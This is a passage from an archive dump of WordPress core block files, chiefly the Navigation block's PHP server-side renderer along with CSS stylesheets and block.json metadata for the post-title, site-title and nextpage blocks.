*/ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-code code { display: block; font-family: inherit; overflow-wrap: break-word; white-space: pre-wrap; }blocks/navigation.php000064400000062352147177035020010707 0ustar00term_id, array( 'update_post_term_cache' => false ) ); _wp_menu_item_classes_by_context( $menu_items ); return $menu_items; } /** * Sorts a standard array of menu items into a nested structure keyed by the * id of the parent menu. * * @param array $menu_items Menu items to sort. * @return array An array keyed by the id of the parent menu where each element * is an array of menu items that belong to that parent. */ function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) { $sorted_menu_items = array(); foreach ( (array) $menu_items as $menu_item ) { $sorted_menu_items[ $menu_item->menu_order ] = $menu_item; } unset( $menu_items, $menu_item ); $menu_items_by_parent_id = array(); foreach ( $sorted_menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } return $menu_items_by_parent_id; } /** * Turns menu item data into a nested array of parsed blocks * * @param array $menu_items An array of menu items that represent * an individual level of a menu. * @param array $menu_items_by_parent_id An array keyed by the id of the * parent menu where each element is an * array of menu items that belong to * that parent. * @return array An array of parsed block data. */ function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) { if ( empty( $menu_items ) ) { return array(); } $blocks = array(); foreach ( $menu_items as $menu_item ) { $class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null; $id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null; $opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target; $rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null; $kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom'; $block = array( 'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link', 'attrs' => array( 'className' => $class_name, 'description' => $menu_item->description, 'id' => $id, 'kind' => $kind, 'label' => $menu_item->title, 'opensInNewTab' => $opens_in_new_tab, 'rel' => $rel, 'title' => $menu_item->attr_title, 'type' => $menu_item->object, 'url' => $menu_item->url, ), ); $block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id ) : array(); $block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] ); $blocks[] = $block; } return $blocks; } } /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @param array $attributes Navigation block attributes. * * @return array Colors CSS classes and inline styles. */ function block_core_navigation_build_css_colors( $attributes ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', 'overlay_css_classes' => array(), 'overlay_inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $attributes ); $has_custom_text_color = array_key_exists( 'customTextColor', $attributes ); // If has text color. if ( $has_custom_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', $attributes['textColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $attributes['customTextColor'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $attributes ); $has_custom_background_color = array_key_exists( 'customBackgroundColor', $attributes ); // If has background color. if ( $has_custom_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customBackgroundColor'] ); } // Overlay text color. $has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $attributes ); $has_custom_overlay_text_color = array_key_exists( 'customOverlayTextColor', $attributes ); // If has overlay text color. if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) { // Add has-text-color class. $colors['overlay_css_classes'][] = 'has-text-color'; } if ( $has_named_overlay_text_color ) { // Add the overlay color class. $colors['overlay_css_classes'][] = sprintf( 'has-%s-color', $attributes['overlayTextColor'] ); } elseif ( $has_custom_overlay_text_color ) { // Add the custom overlay color inline style. $colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $attributes['customOverlayTextColor'] ); } // Overlay background color. $has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $attributes ); $has_custom_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $attributes ); // If has overlay background color. if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) { // Add has-background class. $colors['overlay_css_classes'][] = 'has-background'; } if ( $has_named_overlay_background_color ) { // Add the overlay background-color class. $colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', $attributes['overlayBackgroundColor'] ); } elseif ( $has_custom_overlay_background_color ) { // Add the custom overlay background-color inline style. $colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customOverlayBackgroundColor'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @param array $attributes Navigation block attributes. * * @return array Font size CSS classes and inline styles. */ function block_core_navigation_build_css_font_sizes( $attributes ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $attributes ); $has_custom_font_size = array_key_exists( 'customFontSize', $attributes ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $attributes['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %spx;', $attributes['customFontSize'] ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_render_submenu_icon() { return ''; } /** * Finds the first non-empty `wp_navigation` Post. * * @return WP_Post|null the first non-empty Navigation or null. */ function block_core_navigation_get_first_non_empty_navigation() { // Order and orderby args set to mirror those in `wp_get_nav_menus` // see: // - https://github.com/WordPress/wordpress-develop/blob/ba943e113d3b31b121f77a2d30aebe14b047c69d/src/wp-includes/nav-menu.php#L613-L619. // - https://developer.wordpress.org/reference/classes/wp_query/#order-orderby-parameters. $parsed_args = array( 'post_type' => 'wp_navigation', 'no_found_rows' => true, 'order' => 'ASC', 'orderby' => 'name', 'post_status' => 'publish', 'posts_per_page' => 20, // Try the first 20 posts. ); $navigation_posts = new WP_Query( $parsed_args ); foreach ( $navigation_posts->posts as $navigation_post ) { if ( has_blocks( $navigation_post ) ) { return $navigation_post; } } return null; } /** * Filter out empty "null" blocks from the block list. * 'parse_blocks' includes a null block with '\n\n' as the content when * it encounters whitespace. This is not a bug but rather how the parser * is designed. * * @param array $parsed_blocks the parsed blocks to be normalized. * @return array the normalized parsed blocks. */ function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) { $filtered = array_filter( $parsed_blocks, function( $block ) { return isset( $block['blockName'] ); } ); // Reset keys. return array_values( $filtered ); } /** * Retrieves the appropriate fallback to be used on the front of the * site when there is no menu assigned to the Nav block. * * This aims to mirror how the fallback mechanic for wp_nav_menu works. * See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information. * * @return array the array of blocks to be used as a fallback. */ function block_core_navigation_get_fallback_blocks() { $page_list_fallback = array( array( 'blockName' => 'core/page-list', 'attrs' => array( '__unstableMaxPages' => 4, ), ), ); $registry = WP_Block_Type_Registry::get_instance(); // If `core/page-list` is not registered then return empty blocks. $fallback_blocks = $registry->is_registered( 'core/page-list' ) ? $page_list_fallback : array(); // Default to a list of Pages. $navigation_post = block_core_navigation_get_first_non_empty_navigation(); // Prefer using the first non-empty Navigation as fallback if available. if ( $navigation_post ) { $maybe_fallback = block_core_navigation_filter_out_empty_blocks( parse_blocks( $navigation_post->post_content ) ); // Normalizing blocks may result in an empty array of blocks if they were all `null` blocks. // In this case default to the (Page List) fallback. $fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks; } /** * Filters the fallback experience for the Navigation block. * * Returning a falsey value will opt out of the fallback and cause the block not to render. * To customise the blocks provided return an array of blocks - these should be valid * children of the `core/navigation` block. * * @since 5.9.0 * * @param array[] default fallback blocks provided by the default block mechanic. */ return apply_filters( 'block_core_navigation_render_fallback', $fallback_blocks ); } /** * Iterate through all inner blocks recursively and get navigation link block's post IDs. * * @param WP_Block_List $inner_blocks Block list class instance. * * @return array Array of post IDs. */ function block_core_navigation_get_post_ids( $inner_blocks ) { $post_ids = array_map( 'block_core_navigation_from_block_get_post_ids', iterator_to_array( $inner_blocks ) ); return array_unique( array_merge( ...$post_ids ) ); } /** * Get post IDs from a navigation link block instance. * * @param WP_Block $block Instance of a block. * * @return array Array of post IDs. */ function block_core_navigation_from_block_get_post_ids( $block ) { $post_ids = array(); if ( $block->inner_blocks ) { $post_ids = block_core_navigation_get_post_ids( $block->inner_blocks ); } if ( 'core/navigation-link' === $block->name || 'core/navigation-submenu' === $block->name ) { if ( $block->attributes && isset( $block->attributes['kind'] ) && 'post-type' === $block->attributes['kind'] ) { $post_ids[] = $block->attributes['id']; } } return $post_ids; } /** * Renders the `core/navigation` block on server. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation( $attributes, $content, $block ) { static $seen_menu_names = array(); // Flag used to indicate whether the rendered output is considered to be // a fallback (i.e. the block has no menu associated with it). $is_fallback = false; $nav_menu_name = ''; /** * Deprecated: * The rgbTextColor and rgbBackgroundColor attributes * have been deprecated in favor of * customTextColor and customBackgroundColor ones. * Move the values from old attrs to the new ones. */ if ( isset( $attributes['rgbTextColor'] ) && empty( $attributes['textColor'] ) ) { $attributes['customTextColor'] = $attributes['rgbTextColor']; } if ( isset( $attributes['rgbBackgroundColor'] ) && empty( $attributes['backgroundColor'] ) ) { $attributes['customBackgroundColor'] = $attributes['rgbBackgroundColor']; } unset( $attributes['rgbTextColor'], $attributes['rgbBackgroundColor'] ); /** * This is for backwards compatibility after `isResponsive` attribute has been removed. */ $has_old_responsive_attribute = ! empty( $attributes['isResponsive'] ) && $attributes['isResponsive']; $is_responsive_menu = isset( $attributes['overlayMenu'] ) && 'never' !== $attributes['overlayMenu'] || $has_old_responsive_attribute; $should_load_view_script = ! wp_script_is( 'wp-block-navigation-view' ) && ( $is_responsive_menu || $attributes['openSubmenusOnClick'] || $attributes['showSubmenuIcon'] ); if ( $should_load_view_script ) { wp_enqueue_script( 'wp-block-navigation-view' ); } $inner_blocks = $block->inner_blocks; // Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render. if ( array_key_exists( 'navigationMenuId', $attributes ) ) { $attributes['ref'] = $attributes['navigationMenuId']; } // If: // - the gutenberg plugin is active // - `__unstableLocation` is defined // - we have menu items at the defined location // - we don't have a relationship to a `wp_navigation` Post (via `ref`). // ...then create inner blocks from the classic menu assigned to that location. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN && array_key_exists( '__unstableLocation', $attributes ) && ! array_key_exists( 'ref', $attributes ) && ! empty( block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ) ) ) { $menu_items = block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ); if ( empty( $menu_items ) ) { return ''; } $menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items ); $parsed_blocks = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id ); $inner_blocks = new WP_Block_List( $parsed_blocks, $attributes ); } // Load inner blocks from the navigation post. if ( array_key_exists( 'ref', $attributes ) ) { $navigation_post = get_post( $attributes['ref'] ); if ( ! isset( $navigation_post ) ) { return ''; } $nav_menu_name = $navigation_post->post_title; if ( isset( $seen_menu_names[ $nav_menu_name ] ) ) { ++$seen_menu_names[ $nav_menu_name ]; } else { $seen_menu_names[ $nav_menu_name ] = 1; } $parsed_blocks = parse_blocks( $navigation_post->post_content ); // 'parse_blocks' includes a null block with '\n\n' as the content when // it encounters whitespace. This code strips it. $compacted_blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // TODO - this uses the full navigation block attributes for the // context which could be refined. $inner_blocks = new WP_Block_List( $compacted_blocks, $attributes ); } // If there are no inner blocks then fallback to rendering an appropriate fallback. if ( empty( $inner_blocks ) ) { $is_fallback = true; // indicate we are rendering the fallback. $fallback_blocks = block_core_navigation_get_fallback_blocks(); // Fallback my have been filtered so do basic test for validity. if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) { return ''; } $inner_blocks = new WP_Block_List( $fallback_blocks, $attributes ); } $layout_justification = array( 'left' => 'items-justified-left', 'right' => 'items-justified-right', 'center' => 'items-justified-center', 'space-between' => 'items-justified-space-between', ); // Restore legacy classnames for submenu positioning. $layout_class = ''; if ( isset( $attributes['layout']['justifyContent'] ) ) { $layout_class .= $layout_justification[ $attributes['layout']['justifyContent'] ]; } if ( isset( $attributes['layout']['orientation'] ) && 'vertical' === $attributes['layout']['orientation'] ) { $layout_class .= ' is-vertical'; } if ( isset( $attributes['layout']['flexWrap'] ) && 'nowrap' === $attributes['layout']['flexWrap'] ) { $layout_class .= ' no-wrap'; } // Manually add block support text decoration as CSS class. $text_decoration = _wp_array_get( $attributes, array( 'style', 'typography', 'textDecoration' ), null ); $text_decoration_class = sprintf( 'has-text-decoration-%s', $text_decoration ); $colors = block_core_navigation_build_css_colors( $attributes ); $font_sizes = block_core_navigation_build_css_font_sizes( $attributes ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'], $is_responsive_menu ? array( 'is-responsive' ) : array(), $layout_class ? array( $layout_class ) : array(), $is_fallback ? array( 'is-fallback' ) : array(), $text_decoration ? array( $text_decoration_class ) : array() ); $post_ids = block_core_navigation_get_post_ids( $inner_blocks ); if ( $post_ids ) { _prime_post_caches( $post_ids, false, false ); } $inner_blocks_html = ''; $is_list_open = false; foreach ( $inner_blocks as $inner_block ) { if ( ( 'core/navigation-link' === $inner_block->name || 'core/home-link' === $inner_block->name || 'core/site-title' === $inner_block->name || 'core/site-logo' === $inner_block->name || 'core/navigation-submenu' === $inner_block->name ) && ! $is_list_open ) { $is_list_open = true; $inner_blocks_html .= '
      '; } if ( 'core/navigation-link' !== $inner_block->name && 'core/home-link' !== $inner_block->name && 'core/site-title' !== $inner_block->name && 'core/site-logo' !== $inner_block->name && 'core/navigation-submenu' !== $inner_block->name && $is_list_open ) { $is_list_open = false; $inner_blocks_html .= '
    '; } if ( 'core/site-title' === $inner_block->name || 'core/site-logo' === $inner_block->name ) { $inner_blocks_html .= '
  • ' . $inner_block->render() . '
  • '; } else { $inner_blocks_html .= $inner_block->render(); } } if ( $is_list_open ) { $inner_blocks_html .= ''; } $block_styles = isset( $attributes['styles'] ) ? $attributes['styles'] : ''; // If the menu name has been used previously then append an ID // to the name to ensure uniqueness across a given post. if ( isset( $seen_menu_names[ $nav_menu_name ] ) && $seen_menu_names[ $nav_menu_name ] > 1 ) { $count = $seen_menu_names[ $nav_menu_name ]; $nav_menu_name = $nav_menu_name . ' ' . ( $count ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ), 'style' => $block_styles . $colors['inline_styles'] . $font_sizes['inline_styles'], 'aria-label' => $nav_menu_name, ) ); $modal_unique_id = wp_unique_id( 'modal-' ); // Determine whether or not navigation elements should be wrapped in the markup required to make it responsive, // return early if they don't. if ( ! $is_responsive_menu ) { return sprintf( '', $wrapper_attributes, $inner_blocks_html ); } $is_hidden_by_default = isset( $attributes['overlayMenu'] ) && 'always' === $attributes['overlayMenu']; $responsive_container_classes = array( 'wp-block-navigation__responsive-container', $is_hidden_by_default ? 'hidden-by-default' : '', implode( ' ', $colors['overlay_css_classes'] ), ); $open_button_classes = array( 'wp-block-navigation__responsive-container-open', $is_hidden_by_default ? 'always-shown' : '', ); $toggle_button_icon = ''; $should_display_icon_label = isset( $attributes['hasIcon'] ) && true === $attributes['hasIcon']; $toggle_button_content = $should_display_icon_label ? $toggle_button_icon : 'Menu'; $responsive_container_markup = sprintf( '
    %2$s
    ', esc_attr( $modal_unique_id ), $inner_blocks_html, __( 'Open menu' ), // Open button label. __( 'Close menu' ), // Close button label. esc_attr( implode( ' ', $responsive_container_classes ) ), esc_attr( implode( ' ', $open_button_classes ) ), esc_attr( safecss_filter_attr( $colors['overlay_inline_styles'] ) ), __( 'Menu' ), $toggle_button_content ); return sprintf( '', $wrapper_attributes, $responsive_container_markup ); } /** * Register the navigation block. * * @uses render_block_core_navigation() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation() { register_block_type_from_metadata( __DIR__ . '/navigation', array( 'render_callback' => 'render_block_core_navigation', ) ); } add_action( 'init', 'register_block_core_navigation' ); /** * Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly. * * @param array $parsed_block The block being rendered. * * @return array The block being rendered without typographic presets. */ function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) { if ( 'core/navigation' === $parsed_block['blockName'] ) { $attribute_to_prefix_map = array( 'fontStyle' => 'var:preset|font-style|', 'fontWeight' => 'var:preset|font-weight|', 'textDecoration' => 'var:preset|text-decoration|', 'textTransform' => 'var:preset|text-transform|', ); foreach ( $attribute_to_prefix_map as $style_attribute => $prefix ) { if ( ! empty( $parsed_block['attrs']['style']['typography'][ $style_attribute ] ) ) { $prefix_len = strlen( $prefix ); $attribute_value = &$parsed_block['attrs']['style']['typography'][ $style_attribute ]; if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) { $attribute_value = substr( $attribute_value, $prefix_len ); } if ( 'textDecoration' === $style_attribute && 'strikethrough' === $attribute_value ) { $attribute_value = 'line-through'; } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_navigation_typographic_presets_backcompatibility' ); blocks/post-title/style.min.css000064400000000127147177035020012567 0ustar00.wp-block-post-title{word-break:break-word}.wp-block-post-title a{display:inline-block}blocks/post-title/style-rtl.css000064400000003044147177035020012605 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-title { word-break: break-word; } .wp-block-post-title a { display: inline-block; }blocks/post-title/block.json000064400000002430147177035020012117 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-title", "title": "Post Title", "category": "theme", "description": "Displays the title of a post, page, or any other content-type.", "textdomain": "default", "usesContext": [ "postId", "postType", "queryId" ], "attributes": { "textAlign": { "type": "string" }, "level": { "type": "number", "default": 2 }, "isLink": { "type": "boolean", "default": false }, "rel": { "type": "string", "attribute": "rel", "default": "" }, "linkTarget": { "type": "string", "default": "_self" } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "fontAppearance": true, "textTransform": true } } }, "style": "wp-block-post-title" } blocks/post-title/style-rtl.min.css000064400000000127147177035020013366 0ustar00.wp-block-post-title{word-break:break-word}.wp-block-post-title a{display:inline-block}blocks/post-title/style.css000064400000003044147177035020012006 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-title { word-break: break-word; } .wp-block-post-title a { display: inline-block; }blocks/site-title/editor-rtl.css000064400000003013147177035020012706 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-site-title__placeholder { padding: 1em 0; border: 1px dashed; }blocks/site-title/style.min.css000064400000000350147177035020012544 0ustar00.wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}blocks/site-title/editor.css000064400000003013147177035020012107 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-site-title__placeholder { padding: 1em 0; border: 1px dashed; }blocks/site-title/style-rtl.css000064400000000410147177035020012556 0ustar00.wp-block-site-title{ box-sizing:border-box; } .wp-block-site-title :where(a){ color:inherit; font-family:inherit; font-size:inherit; font-style:inherit; font-weight:inherit; letter-spacing:inherit; line-height:inherit; text-decoration:inherit; }blocks/site-title/editor.min.css000064400000000102147177035020012665 0ustar00.wp-block-site-title__placeholder{padding:1em 0;border:1px dashed}blocks/site-title/block.json000064400000002571147177035020012104 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/site-title", "title": "Site Title", "category": "theme", "description": "Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.", "textdomain": "default", "attributes": { "level": { "type": "number", "default": 1 }, "textAlign": { "type": "string" }, "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" } }, "example": { "viewportWidth": 500 }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "padding": true, "margin": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextTransform": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "lineHeight": true, "fontAppearance": true, "letterSpacing": true, "textTransform": true } } }, "editorStyle": "wp-block-site-title-editor" } blocks/site-title/style-rtl.min.css000064400000000350147177035020013343 0ustar00.wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}blocks/site-title/editor-rtl.min.css000064400000000102147177035020013464 0ustar00.wp-block-site-title__placeholder{padding:1em 0;border:1px dashed}blocks/site-title/style.css000064400000000410147177035020011757 0ustar00.wp-block-site-title{ box-sizing:border-box; } .wp-block-site-title :where(a){ color:inherit; font-family:inherit; font-size:inherit; font-style:inherit; font-weight:inherit; letter-spacing:inherit; line-height:inherit; text-decoration:inherit; }blocks/nextpage/editor-rtl.css000064400000004217147177035020012445 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/nextpage"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-nextpage { display: block; text-align: center; white-space: nowrap; } .wp-block-nextpage > span { font-size: 13px; position: relative; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; } .wp-block-nextpage::before { content: ""; position: absolute; top: calc(50%); right: 0; left: 0; border-top: 3px dashed #ccc; }blocks/nextpage/editor.css000064400000004217147177035020011646 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * 